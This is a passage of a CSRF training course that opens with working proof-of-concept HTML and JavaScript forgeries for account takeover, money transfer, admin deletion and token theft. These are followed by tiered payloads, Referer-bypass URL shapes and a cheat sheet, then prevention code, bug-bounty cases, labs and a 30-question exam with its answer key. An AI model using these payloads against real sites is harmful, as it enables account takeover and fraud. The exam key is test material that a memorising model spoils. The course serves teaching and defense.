    <input type="hidden" name="email" value="attacker@evil.local">
  </form>
</body>
</html>

Password change PoC (no old password required)

html
<html>
<body onload="document.forms[0].submit()">
  <form action="https://target.anastech.com/account/password" method="POST">
    <input type="hidden" name="new_password" value="AttackerControlled1!">
    <input type="hidden" name="confirm_password" value="AttackerControlled1!">
  </form>
</body>
</html>

Money transfer PoC

html
<html>
<body onload="document.forms[0].submit()">
  <h1>Welcome to your AnasBank prize page</h1>
  <form action="https://anasbank.anastech.com/api/transfer" method="POST">
    <input type="hidden" name="to" value="ATTACKER-ACCOUNT">
    <input type="hidden" name="amount" value="10000">
  </form>
</body>
</html>

Zero-click admin GET PoC

html
<!DOCTYPE html>
<html>
<body>
  <h1>Loading newsletter...</h1>
  <img src="https://target.anastech.com/admin/delete_car.php?id=19" style="display:none">
  <img src="https://target.anastech.com/admin/delete_car.php?id=20" style="display:none">
  <img src="https://target.anastech.com/admin/delete_car.php?id=21" style="display:none">
</body>
</html>

Or single redirect form:

html
<!DOCTYPE html>
<html>
<body>
  <script>window.location.href = "https://target.anastech.com/admin/delete_car.php?id=19";</script>
</body>
</html>

JSON CSRF (text/plain bypass) PoC

html
<html>
<body>
<script>
fetch('https://target.anastech.com/api/v2/profile/email', {
  method: 'POST',
  credentials: 'include',
  headers: { 'Content-Type': 'text/plain' },
  body: JSON.stringify({ email: 'attacker@evil.local' })
});
</script>
</body>
</html>

Multipart/form-data CSRF PoC

html
<html>
<body>
<script>
const fd = new FormData();
fd.append('email', 'attacker@evil.local');
fetch('https://target.anastech.com/api/email', { method: 'POST', credentials: 'include', body: fd });
</script>
</body>
</html>

SameSite=Lax bypass via top-level GET PoC

html
<html>
<body>
<script>
window.location = 'https://target.anastech.com/change-email?email=attacker@evil.local';
</script>
</body>
</html>

Method override CSRF PoC

html
<html>
<body onload="document.forms[0].submit()">
  <form action="https://target.anastech.com/api/account" method="POST">
    <input type="hidden" name="_method" value="DELETE">
    <input type="hidden" name="confirm" value="yes">
  </form>
</body>
</html>

Referer-strip PoC

html
<html>
<head><meta name="referrer" content="no-referrer"></head>
<body onload="document.forms[0].submit()">
  <form action="https://target.anastech.com/api/profile/email" method="POST">
    <input type="hidden" name="email" value="attacker@evil.local">
  </form>
</body>
</html>

Token-theft via XSS PoC

html
<script>
fetch('/account/profile', { credentials: 'include' })
  .then(r => r.text())
  .then(html => {
    const m = html.match(/name="csrf_token"\s+value="([^"]+)"/);
    if (!m) return;
    const body = new URLSearchParams();
    body.append('email', 'attacker@evil.local');
    body.append('csrf_token', m[1]);
    fetch('/api/profile/email', { method: 'POST', credentials: 'include', body });
  });
</script>

Use only inside an XSS context where same-origin reads are possible.

Login CSRF PoC

html
<html>
<body onload="document.forms[0].submit()">
  <form action="https://target.anastech.com/login" method="POST">
    <input type="hidden" name="username" value="ATTACKER-ACCOUNT">
    <input type="hidden" name="password" value="ATTACKER-KNOWN-PASSWORD">
  </form>
</body>
</html>

Bash one-liner detection

bash
curl -i -X POST 'https://target.anastech.com/api/profile/email' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'Cookie: session=TESTUSER_COOKIE' \
  --data 'email=probe@evil.local' | head -20

If the response is 200 OK and the email actually updated, the endpoint accepts requests without CSRF defense.

SECTION 13. Payloads

Organized by tier. Start with the lightest and only escalate if needed.

Tier 1: classic POST auto-submit

html
<body onload="document.forms[0].submit()">
  <form action="TARGET" method="POST">
    <input type="hidden" name="param1" value="value1">
  </form>
</body>

Tier 2: GET-based

html
<img src="https://target/admin?id=42" style="display:none">
<iframe src="https://target/admin?id=42" style="display:none"></iframe>
<script>window.location.href = "https://target/admin?id=42";</script>

Tier 3: JSON via text/plain

html
<script>
fetch('TARGET', {
  method: 'POST', credentials: 'include',
  headers: { 'Content-Type': 'text/plain' },
  body: JSON.stringify({KEY: 'VALUE'})
});
</script>

Tier 4: multipart/form-data

html
<script>
const fd = new FormData();
fd.append('KEY', 'VALUE');
fetch('TARGET', { method: 'POST', credentials: 'include', body: fd });
</script>

Tier 5: Referer-strip

html
<meta name="referrer" content="no-referrer">

Tier 6: Referer regex bypasses (URL shapes)

text
https://attacker.com?target.com
https://attacker.com;target.com
https://attacker.com/target.com/../path
https://target.com.attacker.com
https://attackertarget.com
https://target.com@attacker.com
https://attacker.com#target.com
https://attacker.com\.target.com
https://attacker.com/.target.com

Tier 7: empty / missing token

html
<input type="hidden" name="csrf_token" value="">
<!-- or omit the field entirely -->

Tier 8: token from another session

html
<input type="hidden" name="csrf_token" value="VALID_FORMAT_TOKEN_FROM_ATTACKER_SESSION">

Tier 9: SameSite=Lax bypass

html
<script>window.location = 'https://target/change-email?email=attacker@evil.local';</script>

Tier 10: SameSite Lax + POST 2-minute window (Chrome)

html
<form id="f" action="https://target/api/action" method="POST">
  <input name="param" value="value">
</form>
<script>document.getElementById('f').submit();</script>

Tier 11: method override

html
<input type="hidden" name="_method" value="DELETE">
http
X-HTTP-Method-Override: DELETE

Tier 12: login CSRF

html
<form action="https://target/login" method="POST">
  <input type="hidden" name="username" value="ATTACKER">
  <input type="hidden" name="password" value="ATTACKER-PASSWORD">
</form>
<script>document.forms[0].submit();</script>

Tier 13: token theft via XSS (requires XSS)

javascript
fetch('/csrf-token-endpoint', { credentials: 'include' })
  .then(r => r.text())
  .then(tok => {
    const body = new URLSearchParams();
    body.append('field', 'attacker_value');
    body.append('csrf_token', tok);
    fetch('/target-endpoint', { method: 'POST', credentials: 'include', body });
  });

SECTION 14. Wordlists and Payload Libraries

Practical advice

  • Keep a 6-line template for every CSRF shape ready to paste: classic POST, GET image, JSON text/plain, multipart, top-level GET, method override.
  • Maintain a personal list of 9 Referer-bypass URL shapes for quick testing.
  • Save a few realistic decoy HTML pages (newsletter, free trial, prize) to wrap PoCs in for delivery-readiness.
  • Build a Burp macro that auto-rotates token-bypass variants across a request.

SECTION 15. Impact

The impact ladder for CSRF goes from no-effect to full account compromise depending on which endpoint is reachable.

Step 1: nuisance state changes

Toggling a notification preference, marking something as read, dismissing a banner. Low impact; usually rated informational.

Step 2: profile modification

Changing display name, bio, avatar, phone. Mid-low impact; can be useful for social engineering against the victim's network.

Step 3: email change

The single most valuable CSRF outcome. Email change enables password reset to attacker, which enables full account takeover. Email-change CSRFs typically pay 5,000+ USD on mature programs.

Step 4: password change without old-password requirement

Direct ATO from one form submission. Catastrophic; routinely critical-rated.

Step 5: 2FA disable

Removes the second factor; combined with a known/breached password = ATO.

Step 6: financial actions

Money transfer, cryptocurrency send, refund request, payment method change. Direct monetary loss.

Step 7: admin or moderator actions

Bulk delete, ban users, promote/demote, change configurations. Cascading impact across the user base.

Step 8: integration tampering

Change webhook URL to attacker, register attacker as OAuth client, modify API destinations. Long-term data exfiltration.

Step 9: privilege grants

Add attacker as collaborator on a repository, share a private resource, accept an invite. Persistent access without re-auth.

Step 10: account takeover chains

Email change -> password reset -> login. The most common CSRF -> ATO flow.

Step 11: mass / wormable impact

If the PoC can be embedded in a high-traffic page (forum post, social media, supply-chain CDN), many victims can be affected with one delivery. Historical CSRF worms include Netflix (2008) and YouTube (2008).

Step 12: cross-property compromise

With shared SSO or shared cookie domains, CSRF on one property can affect others (organization-wide GSuite, Microsoft 365 tenants).

Step 13: data destruction

Permanent deletion of user data or admin-side records. Recovery may be impossible.

Step 14: regulatory and contractual fallout

GDPR (consent and data integrity), HIPAA, PCI DSS violations.

Step 15: long-tail cost

Forensic investigation, remediation cost, audit fees, customer trust erosion, insurance premium adjustments.

SECTION 16. Prevention

The fix is layered. Each layer is small; together they form defense in depth.

The two rules that cover most cases

  • 1. Every state-changing endpoint validates a CSRF token bound to the user's session.
  • 2. Session cookies are `SameSite=Strict` (or `Lax` with care) and `Secure`.

If both hold, classical CSRF is blocked. The other layers protect against bypasses and chains.

Defense layer 1: synchronizer CSRF token

The classical pattern. Server generates a random per-session token, includes it in every form, validates on submission.

python
# Flask + Flask-WTF
from flask import Flask
from flask_wtf.csrf import CSRFProtect

app = Flask(__name__)
app.config['SECRET_KEY'] = 'KEEP-THIS-LONG-AND-RANDOM'
csrf = CSRFProtect(app)

@app.route('/api/profile/email', methods=['POST'])
def change_email():
    # Flask-WTF auto-validates the token from form or header
    ...
html
<form method="POST" action="/api/profile/email">
  <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
  <input name="email" type="email">
  <button>Save</button>
</form>

Server-side comparison must be constant-time and bound to the session. Tokens must be random (`secrets.token_urlsafe(32)` or equivalent) and rotated on login/privilege change.

Defense layer 2: SameSite cookie attribute

text
Set-Cookie: session=abc123; Path=/; Secure; HttpOnly; SameSite=Strict
  • `SameSite=Strict` -- cookie not sent on any cross-site request. Highest protection. May break legitimate cross-site flows (third-party SSO embeds, OAuth callbacks if not configured to use a non-strict cookie for those flows).
  • `SameSite=Lax` -- cookie sent on top-level GET navigations only. Modern default; blocks classic POST CSRF.
  • `SameSite=None` -- cookie sent on all cross-site requests; MUST also be `Secure`. Vulnerable to CSRF without other defenses.

For maximum protection on session cookies, use `Strict`. Use `Lax` if you need cookies on cross-site navigations (e.g., a user clicking a link to your site from email).

Defense layer 3: Origin / Referer validation

python
ALLOWED_ORIGINS = {'https://anasmarket.anastech.com'}

@app.before_request
def csrf_origin_check():
    if request.method in ('POST', 'PUT', 'PATCH', 'DELETE'):
        origin = request.headers.get('Origin') or request.headers.get('Referer', '')
        if not any(origin == o or origin.startswith(o + '/') for o in ALLOWED_ORIGINS):
            abort(403)

Use exact matching, not substring. Reject when both `Origin` and `Referer` are absent on writes (default-deny rather than default-allow).

Defense layer 4: custom required header

javascript
// Frontend
fetch('/api/profile', {
  method: 'POST',
  credentials: 'include',
  headers: { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/json' },
  body: JSON.stringify({email})
});
python
# Backend
if request.headers.get('X-Requested-With') != 'XMLHttpRequest':
    abort(403)

A cross-origin page cannot set arbitrary headers without a CORS preflight. A correctly configured server refuses the preflight from untrusted origins.

Defense layer 5: content-type restriction

python
# Backend
if request.method in ('POST', 'PUT', 'PATCH', 'DELETE'):
    if request.content_type != 'application/json':
        abort(415, 'Unsupported Media Type')

This blocks `application/x-www-form-urlencoded`, `multipart/form-data`, and `text/plain` -- the three CORS "simple" content types that fire without preflight. But the server must also actually parse only `application/json`, not silently accept JSON in other types.

Defense layer 6: re-authentication for high-risk actions

html
<form action="/api/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
  <input name="amount">
  <input name="password" type="password" placeholder="Re-enter password to confirm">
</form>

Even if every other defense fails, the attacker does not know the victim's password and cannot fill the field.

Defense layer 7: no state changes via GET

Map deletes/updates/transfers to POST/PUT/DELETE only. Refuse GET on these endpoints. This eliminates `<img>`/`<iframe>` CSRF entirely on those routes.

Defense layer 8: framework defaults

  • Django ==> `CsrfViewMiddleware` is on by default in modern versions; never use `@csrf_exempt` on sensitive views.
  • Spring Security ==> CSRF is on by default; never call `http.csrf().disable()` unless the application is fully stateless and only uses bearer tokens.
  • Rails ==> `protect_from_forgery with: :exception` is on by default; never call `skip_before_action :verify_authenticity_token`.
  • ASP.NET MVC ==> use `[ValidateAntiForgeryToken]` on POST actions; in Razor pages, the antiforgery token is automatic.
  • Express ==> add `csurf` (or modern replacement) middleware and use it consistently on state-changing routes.
  • Flask ==> use `Flask-WTF` with `CSRFProtect`.

Cookie hardening checklist

text
Set-Cookie: session=...;
            Domain=anasmarket.anastech.com    (specific, not parent .anastech.com)
            Path=/;
            Secure;                            (HTTPS only)
            HttpOnly;                          (JavaScript cannot read)
            SameSite=Strict;                   (no cross-site sending)
            Max-Age=3600                       (session length cap)

Avoid `Domain=.parent.com` unless absolutely required; it leaks cookies to every subdomain, including potentially compromised ones.

Developer checklist

  • Every state-changing endpoint has a CSRF token validated server-side.
  • Tokens are random, per-session, rotated on login/privilege change.
  • Session cookies are `SameSite=Strict` (or Lax with care), `Secure`, `HttpOnly`.
  • Origin/Referer validation is server-side and uses exact match, not substring.
  • Custom `X-Requested-With` header is required on AJAX writes and validated server-side.
  • Sensitive endpoints accept only `application/json` and reject `text/plain`/`form-urlencoded`/`multipart` on writes.
  • No `@csrf_exempt`, no `http.csrf().disable()`, no `skip_before_action :verify_authenticity_token`, no missing `[ValidateAntiForgeryToken]`.
  • High-risk endpoints (transfer, password change, 2FA disable) require password re-entry.
  • No state-changing GET routes.
  • Token validation is constant-time and fails closed.
  • CSRF defenses are tested in CI on every release.
  • Subdomain cookies are scoped narrowly; subdomain takeover risk is monitored.

Enterprise mitigations

  • CDN / WAF rules that block writes missing CSRF tokens.
  • Service mesh policies requiring custom headers on internal microservices.
  • Centralized token issuance and validation service.
  • SAST rules that flag `@csrf_exempt`, `csrf().disable()`, missing `[ValidateAntiForgeryToken]`, missing `verify_authenticity_token`.
  • DAST coverage that includes CSRF on every release.
  • CSP `Sec-Fetch-Site` header validation as an additional check (browsers send this on every request indicating where it came from; reject `cross-site` writes).
  • Bug bounty programs explicitly in-scope for CSRF.

Sec-Fetch-Site as a modern auxiliary defense

Modern browsers automatically send `Sec-Fetch-Site` on every request. Reject writes when this header is `cross-site`:

python
if request.method in ('POST', 'PUT', 'PATCH', 'DELETE'):
    if request.headers.get('Sec-Fetch-Site') == 'cross-site':
        abort(403)

This complements the other layers without requiring user-agent JavaScript.

SECTION 17. Real-World Cases

Historical landmarks

  • Netflix (2008) -- A CSRF on Netflix account settings let attackers modify the user's DVD queue, shipping address, and rental history. Triggered an industry-wide adoption of CSRF tokens.
  • YouTube (2008) -- Multiple state-changing endpoints (add to playlist, subscribe, comment) lacked CSRF protection. Documented by researchers and led to Google-wide CSRF auditing.
  • ING Direct (2008) -- Documented academic research showed CSRF could initiate transfers; banks accelerated SCA and CSRF token deployment.
  • Twitter (2010-2017) -- Multiple CSRF disclosures including direct-message CSRF chains; Twitter rolled out custom-header validation and `SameSite` policies in stages.

Recent disclosed HackerOne bug bounty reports

  • Dropbox -- Exfiltrate Google Drive access token using CSRF, paid $1,728.

Listing: https://github.com/reddelexc/hackerone-reports/blob/master/tops_by_bug_type/TOPCSRF.md Lesson: CSRF on integration consent endpoints leaks OAuth tokens for third-party services.

  • Internet Bug Bounty -- Argo CD CSRF leads to Kubernetes cluster compromise, paid $4,660.

Lesson: CSRF on infrastructure dashboards is critical because the attacker reaches the cluster control plane.

  • Internet Bug Bounty -- Apache Airflow: missing CSRF protection on DAG/trigger (CVE-2023-49920), paid $0 (IBB).

NVD: https://nvd.nist.gov/vuln/detail/CVE-2023-49920 Lesson: workflow orchestration tools that lack CSRF tokens let attackers trigger arbitrary jobs.

  • TikTok -- CSRF on TikTok Ads Portal, paid $1,000.

Lesson: ad-management endpoints are sensitive; budget changes and campaign modifications via CSRF translate to direct financial loss.

  • HackerOne -- HackerOne reports escalation to JIRA is CSRF vulnerable, paid $500.

Lesson: even security-focused platforms ship CSRF; integration paths are common gaps.

  • Slack -- CSRF in GitHub integration, paid $500.

Listing: https://github.com/reddelexc/hackerone-reports/blob/master/tops_by_bug_type/TOPCSRF.md Lesson: integration management is a CSRF target with persistent access impact.

  • Shopify -- H1514 CSRF in domain transfer, listing on top corpus.

Lesson: CSRF in account-level resource transfers can grant attacker control over victim's domains.

  • Shopify -- [h1-2102] Wholesale -- CSRF to generate invitation token for a customer.

Lesson: wholesale and partner programs often run on older code with weaker defenses.

  • Mail.ru -- Disable 2FA via CSRF (leads to 2FA bypass).

Lesson: 2FA disable endpoints are particularly valuable CSRF targets.

  • Mozilla -- CSRF to information disclosure on password reset, listing on corpus.

Lesson: password reset flows often combine multiple endpoints; CSRF on any one of them can leak account info.

  • IBM -- POST-based CSRF on endpoint leading to modification of contact information, listing on corpus.
  • X (formerly Twitter) -- CSRF on https://www.niche.co leads to "account disconnection", paid $0.
  • VK.com -- CSRF for setting email on account, listing on corpus.
  • Ubiquiti -- Firmware download/install vulnerable to CSRF, listing on corpus.

Lesson: IoT and network appliance interfaces are increasingly CSRF-attacked because impact reaches device firmware.

  • Elastic -- CSRF in AppSearch allows creation of "curations", listing on corpus.
  • GSA Bounty -- CSRF on the Federalist API (all endpoints), using Flash file on the attacker's host, listing on corpus.

Note: Flash is dead, but the pattern (cross-origin POST with custom content-type) survives via other primitives.

  • WakaTime -- JSON CSRF on POST Heartbeats API, listing on corpus.

Lesson: JSON APIs without `application/json` enforcement remain CSRF-vulnerable via `text/plain`.

  • CS Money -- Site-wide CSRF on Safari due to CORS misconfiguration, paid $300.

Lesson: browser-specific CSRF surfaces persist; differential testing across browsers pays off.

  • Coinbase -- CSRF on "Set as primary" option on the accounts page, paid $100.
  • Krisp -- Authentication CSRF resulting in unauthorized account access on Krisp app, listing on corpus.
  • U.S. Dept of Defense -- CSRF Attack leads to delete album, listing on corpus.
  • HackerOne (self) -- Timing attack towards endpoints on the web without CSRF, listing on corpus.
  • Mavenlink -- Clickjacking & CSRF attack can be done at https://app.mavenlink.com/login, listing on corpus.

Lesson: chaining clickjacking with CSRF makes the form-token defense useless.

Curated corpora

Lessons learned

  • CSRF is alive in 2026 on every category of site, from infrastructure (Argo CD, Apache Airflow) to consumer products (TikTok, Coinbase, Dropbox).
  • Bug bounty payouts range from $100 (minor settings change) to $4,660+ (cluster compromise) depending on chained impact.
  • The fix is universally the same shape: token + SameSite + Origin/Referer + custom header + content-type lock + re-auth on high-risk.
  • Modern frameworks ship CSRF protection by default; the bug usually appears when a developer explicitly disabled it or chose a non-standard endpoint pattern.
  • Chains pay more: CSRF + email change -> ATO; CSRF + subdomain takeover -> cross-property; CSRF + clickjacking -> token-bearing form submission; CSRF + XSS -> token theft + forged write.

SECTION 18. References

Standards and authoritative docs

Browser documentation

Learning resources

Framework documentation

Tools

CVE/advisory feeds

SECTION 19. Practical Labs

Planned ANAS CSRF Labs (SOON)

  • ANAS-CSRF-01 -- AnasBank Classic POST Money Transfer, beginner
  • ANAS-CSRF-02 -- AnasMarket Email Change leading to ATO, beginner
  • ANAS-CSRF-03 -- AnasDocs Password Change Without Old Password, beginner
  • ANAS-CSRF-04 -- AnasCorp Admin GET-based Zero-Click Deletion, beginner-intermediate
  • ANAS-CSRF-05 -- AnasOne JSON CSRF via text/plain Bypass, intermediate
  • ANAS-CSRF-06 -- AnasMarket Multipart/Form-Data CSRF, intermediate
  • ANAS-CSRF-07 -- AnasOne Empty Token Bypass, intermediate
  • ANAS-CSRF-08 -- AnasMarket Token From Different Session Bypass, intermediate
  • ANAS-CSRF-09 -- AnasBank SameSite=Lax Top-Level GET Bypass, advanced
  • ANAS-CSRF-10 -- AnasBank Lax + POST 2-Minute Window (Chrome), advanced
  • ANAS-CSRF-11 -- AnasSocial Referer Regex Bypass (9 URL shapes), advanced
  • ANAS-CSRF-12 -- AnasCorp Method Override (_method, X-HTTP-Method-Override), advanced
  • ANAS-CSRF-13 -- AnasOne CSRF + XSS Token Theft Chain, advanced
  • ANAS-CSRF-14 -- AnasMarket Login CSRF for Credit Card Harvesting, advanced
  • ANAS-CSRF-15 -- AnasMarket Subdomain Takeover + Cookie-Domain CSRF, expert
  • ANAS-CSRF-16 -- AnasCorp Compound Chain (CSRF + Clickjacking + Email Change -> ATO), expert

PortSwigger Web Security Academy CSRF labs

Self-hosted lab targets

Lab progression suggestion

  • Week 1: PortSwigger Apprentice lab + ANAS-CSRF-01/02/03 + sections 1-8 of this course.
  • Week 2: PortSwigger Practitioner token-validation labs + ANAS-CSRF-04 to 08 + read 5 disclosed bounty reports in section 17.
  • Week 3: PortSwigger SameSite bypass labs + ANAS-CSRF-09/10/11 + replicate one CVE in a sandbox.
  • Week 4: PortSwigger Referer bypass labs + ANAS-CSRF-12 to 14.
  • Week 5: ANAS-CSRF-15/16 (chains) + start hunting on programs that scope CSRF explicitly.

SECTION 20. Cheat Sheet

text
+--------------------------------------------------------------------+
|                ANAS EDUCATION -- CSRF CHEAT SHEET                  |
+--------------------------------------------------------------------+
|                                                                    |
|  DETECTION                                                         |
|    Capture state-changing request in Burp                          |
|    Look for csrf_token, _csrf, authenticity_token, X-CSRF-Token    |
|    Check Set-Cookie SameSite=Strict/Lax/None                       |
|    Replay without token / with empty token / with foreign token    |
|    Replay without Origin/Referer, with attacker Origin             |
|    Try Content-Type swap to text/plain                             |
|                                                                    |
|  CLASSIC POST POC                                                  |
|    <body onload="document.forms[0].submit()">                      |
|    <form action="TARGET" method="POST">                            |
|      <input type="hidden" name="K" value="V">                      |
|    </form>                                                         |
|                                                                    |
|  GET-BASED POC                                                     |
|    <img src="TARGET?id=42" style="display:none">                   |
|    <script>window.location.href = "TARGET?id=42";</script>         |
|                                                                    |
|  JSON BYPASS (text/plain, no preflight)                            |
|    fetch(URL, { method:'POST', credentials:'include',              |
|      headers:{ 'Content-Type':'text/plain' },                      |
|      body: JSON.stringify({k:'v'}) })                              |
|                                                                    |
|  MULTIPART BYPASS                                                  |
|    const fd = new FormData(); fd.append('k','v');                  |
|    fetch(URL, { method:'POST', credentials:'include', body: fd })  |
|                                                                    |
|  REFERER BYPASSES                                                  |
|    <meta name="referrer" content="no-referrer">                    |
|    URL shapes:                                                     |
|      https://attacker.com?target.com                               |
|      https://attacker.com;target.com                               |
|      https://target.com.attacker.com                               |
|      https://attacker.com#target.com                               |
|      https://target.com@attacker.com                               |
|      https://attacker.com/.target.com                              |
|      https://attacker.com\\.target.com                              |
|      https://attackertarget.com                                    |
|                                                                    |
|  SAMESITE BYPASS                                                   |
|    Lax + top-level GET navigation                                  |
|    Lax + POST within 2-min cookie-refresh window (Chrome)          |
|    Strict + same-site sibling subdomain (after takeover/XSS)       |
|    Strict + same-origin client-side redirect chain                 |
|                                                                    |
|  METHOD OVERRIDE                                                   |
|    <input type="hidden" name="_method" value="DELETE">             |
|    Header: X-HTTP-Method-Override: DELETE                          |
|                                                                    |
|  CHAINS                                                            |
|    CSRF email-change + password-reset -> ATO                       |
|    CSRF + XSS = token theft + forged write                         |
|    CSRF + clickjacking = token-bearing legit-frame submission      |
|    CSRF + subdomain takeover = cross-property cookie ride          |
|    Login CSRF = victim types into attacker account (cc harvesting) |
|                                                                    |
|  DEFENSE (LAYERED)                                                 |
|    1. Synchronizer CSRF token bound to session                     |
|    2. Set-Cookie SameSite=Strict; Secure; HttpOnly                 |
|    3. Origin/Referer exact-match validation                        |
|    4. Required custom header (X-Requested-With)                    |
|    5. Restrict Content-Type to application/json on writes          |
|    6. Re-authentication on high-risk actions                       |
|    7. No state-changing GET                                        |
|    8. Sec-Fetch-Site: reject cross-site writes                     |
|                                                                    |
|  KEY CWE: CWE-352                                                  |
|  OWASP CATEGORY: A01:2021 Broken Access Control (was A8:2017)      |
|                                                                    |
+--------------------------------------------------------------------+
|                       Go hunt. -- ANAS EDUCATION                   |
+--------------------------------------------------------------------+

SECTION 21. Exam

Thirty multiple-choice questions. Answer key at the end.

  • 1. The CWE for CSRF is:

A) CWE-79 B) CWE-89 C) CWE-352 D) CWE-1021

  • 2. Why does CSRF work?

A) Browsers send cookies with every request to the cookie's domain regardless of where the request originated B) Cookies are encrypted by the attacker C) HTTPS is not enforced D) WAFs are disabled

  • 3. The two conditions for any CSRF attack are:

A) Open ports + weak passwords B) Victim authenticated to target + attacker can cause the browser to send a request to target C) Internal IP + DNS D) Domain takeover + open S3

  • 4. CORS prevents CSRF?

A) Yes, always B) No, CORS limits reading responses, not sending requests C) Only on HTTPS D) Only on Firefox

  • 5. `SameSite=Strict` cookies are:

A) Sent on all cross-site requests B) Never sent on cross-site requests C) Sent only on POST D) Sent only on GET

  • 6. `SameSite=Lax` cookies are sent on:

A) All cross-site requests B) Top-level GET navigations (and not on cross-site POST or background GETs) C) Cross-site POST only D) Never

  • 7. The most reliable JSON CSRF bypass uses:

A) `application/json` Content-Type (browsers preflight) B) `text/plain` Content-Type which is a CORS simple type and does not trigger preflight C) `application/xml` D) None of the above

  • 8. The classic POST CSRF PoC is:

A) A `<script>` tag with `eval` B) An auto-submitting `<form>` with `<body onload>` or `<script>document.forms[0].submit()</script>` C) An SVG file D) A cookie

  • 9. The payload `old=KNOWN&new=AttackerControlled&confirm=AttackerControlled` submitted via CSRF changes:

A) The user's email B) The user's password (when the server expects old/new/confirm) C) The user's avatar D) None

  • 10. A password change endpoint that does NOT require the old password is:

A) Safer B) Catastrophic when CSRF-vulnerable: one form submit = ATO C) Required by GDPR D) Default in Django

  • 11. The single most effective auxiliary defense against classic POST CSRF in 2026 is:

A) HTTPS B) `SameSite=Strict` (or Lax) on session cookies C) CAPTCHA D) Rate limiting

  • 12. A CSRF token stored only in a cookie with no header/body comparison is:

A) Strong protection B) Ineffective because cookies attach automatically (the attacker does not need to know it) C) Required for compliance D) Modern best practice

  • 13. A server that validates `Referer` only when present can be bypassed by:

A) Setting `<meta name="referrer" content="no-referrer">` to strip the header B) HTTPS upgrade C) Adding a custom header D) Disabling JavaScript

  • 14. Login CSRF allows the attacker to:

A) Steal the victim's password B) Force the victim to be logged in to an attacker-controlled account so the victim's subsequent actions land in attacker's account C) Crash the browser D) Encrypt the session

  • 15. The Apache Airflow missing CSRF protection on DAG trigger CVE is:

A) CVE-2021-44228 B) CVE-2023-49920 C) CVE-2017-5638 D) CVE-2025-66516

  • 16. Argo CD's CSRF bounty (Internet Bug Bounty) paid approximately:

A) $50 B) $500 C) $4,660 D) $50,000

  • 17. Dropbox's "Exfiltrate Google Drive access token using CSRF" bounty paid:

A) $1,728 B) $172,800 C) $17 D) $0

  • 18. Which Referer regex bypass passes a substring check `referer.includes('target.com')`?

A) https://target.com/legitimate B) https://attacker.com#target.com C) https://attacker.com (no tricks) D) https://other.com

  • 19. A SameSite=Lax cookie may be sent on cross-site POST in Chrome:

A) Never B) Within a short window (historically ~2 minutes) after the cookie was created C) Always for HTTPS D) Only when JavaScript is disabled

  • 20. Method override CSRF uses:

A) `_method=PUT` or `X-HTTP-Method-Override` to convert POST into PUT/DELETE if the framework honors it B) JSON injection C) HTTP/2 stream multiplexing D) WebSocket framing

  • 21. The `application/x-www-form-urlencoded` Content-Type:

A) Triggers CORS preflight B) Is a CORS simple type that does NOT trigger preflight (which is why classic POST CSRF works) C) Cannot be used with cookies D) Cannot carry JSON

  • 22. Disabling Spring Security CSRF with `http.csrf().disable()`:

A) Strengthens defense B) Removes the framework's default CSRF protection -- a frequent regression C) Is required by Spring 6 D) Affects only HTTPS

  • 23. A `@csrf_exempt` decorator in Django:

A) Strengthens CSRF B) Removes Django's default CSRF middleware for that view C) Enables CORS D) Sets SameSite

  • 24. Which combination demonstrates account takeover via CSRF?

A) CSRF on logout B) CSRF on email change + password reset to attacker's email + attacker login C) CSRF on profile picture D) CSRF on theme toggle

  • 25. CSRF + XSS chain works because:

A) XSS lets the attacker read same-origin pages and steal the CSRF token, then submit forged writes with the stolen token B) Cookies are doubled C) HTTPS is bypassed D) WAFs are disabled

  • 26. CSRF + clickjacking chain works because:

A) The user is clicked into submitting a real (token-bearing) form inside an iframe, so the token is valid B) JavaScript is disabled C) Cookies are stolen D) The form is replaced

  • 27. Subdomain takeover + CSRF chain works because:

A) Cookies scoped to `Domain=.target.com` are sent to all subdomains, including the attacker-claimed one B) DNS is encrypted C) HTTPS is upgraded D) WAF is disabled

  • 28. Sec-Fetch-Site is:

A) A browser-sent header indicating where the request came from (same-origin, same-site, cross-site, none) B) A CSRF token C) A cookie attribute D) A WAF rule

  • 29. The most overlooked CSRF target on most engagements is:

A) The integration/webhook configuration endpoint B) The 404 page C) The robots.txt D) The favicon

  • 30. The MOST important takeaway about CSRF:

A) Browsers handle it automatically B) The victim does nothing wrong; the browser is tricked into firing an authenticated request, and only multi-layer defenses (token + SameSite + Origin + content-type + re-auth) cover modern bypasses C) CSRF is extinct in 2026 D) CORS prevents all CSRF

Answer key

  • 1.C 2.A 3.B 4.B 5.B 6.B 7.B 8.B 9.B 10.B
  • 11.B 12.B 13.A 14.B 15.B 16.C 17.A 18.B 19.B 20.A
  • 21.B 22.B 23.B 24.B 25.A 26.A 27.A 28.A 29.A 30.B

Scoring

  • 27 to 30: CSRF expert.
  • 24 to 26: Solid.
  • 19 to 23: Functional; re-read sections 11 and 16.
  • Below 19: re-read sections 1 to 8 and retake.

SECTION 22. Certificate Requirements

  • Read all 24 sections of this course.
  • Score 24/30 or higher on section 21.
  • Complete all PortSwigger Web Security Academy CSRF labs listed in section 19 (12 labs).
  • Complete at least 10 of the 16 planned ANAS CSRF Labs (once released).
  • Demonstrate one end-to-end CSRF -> ATO chain against a controlled target you own.
  • Document one CSRF finding in a write-up of 500+ words, with HTTP traces, screenshots, the bypass that worked, and the exact fix.
  • Maintain a personal payload library of 20+ CSRF templates organized by tier.

Ethical baseline

The techniques here work against real authenticated sessions. Use them only on systems you own or have explicit written permission to test. Hosting a CSRF PoC and tricking real users into visiting it is a criminal act in every jurisdiction this course is taught in.

SECTION 23. Important Notes

Common beginner mistakes

  • Confusing CSRF with CORS. CSRF forges requests; CORS limits reading responses. Different layers.
  • Confusing CSRF with Clickjacking. CSRF needs no click; Clickjacking needs a click.
  • Confusing CSRF with XSS. XSS injects code into the target's page; CSRF makes the browser send a request from elsewhere.
  • Reporting "no CSRF token" without demonstrating impact. Always escalate to ATO, transfer, deletion, or admin action.
  • Forgetting to test empty/absent/foreign tokens, not only "no token".
  • Missing GET-based variants on legacy admin endpoints.
  • Reporting CSRF on logout or trivial settings as critical.
  • Skipping SameSite bypasses on modern targets.

Pentester tips

  • Use Burp's right-click "Generate CSRF PoC" as a starting template, then customize per bypass.
  • Map session cookie attributes for every authenticated cookie (SameSite, Secure, HttpOnly, Domain). Subdomain takeover risk lives in `Domain`.
  • Walk every state-changing endpoint with the same checklist of variations.
  • Test in Chrome, Firefox, and Safari -- SameSite behavior differs subtly between engines.
